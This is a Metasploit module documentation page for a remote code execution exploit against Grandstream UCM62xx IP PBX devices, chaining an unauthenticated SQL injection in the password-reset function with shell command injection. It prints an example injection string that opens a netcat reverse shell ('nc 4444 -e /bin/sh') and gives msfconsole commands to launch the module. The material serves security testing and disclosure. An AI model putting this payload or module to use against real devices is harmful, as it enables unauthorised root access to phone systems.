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Grandstream UCM62xx IP PBX sendPasswordEmail RCE

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Grandstream UCM62xx IP PBX sendPasswordEmail RCE



This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version


  • jbaines-r7




cmd, armle


Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
msf exploit(grandstream_ucm62xx_sendemail_rce) > show targets
msf exploit(grandstream_ucm62xx_sendemail_rce) > set TARGET < target-id >
msf exploit(grandstream_ucm62xx_sendemail_rce) > show options
    ...show and set options...
msf exploit(grandstream_ucm62xx_sendemail_rce) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.

– Jim O’Gorman | President, Offensive Security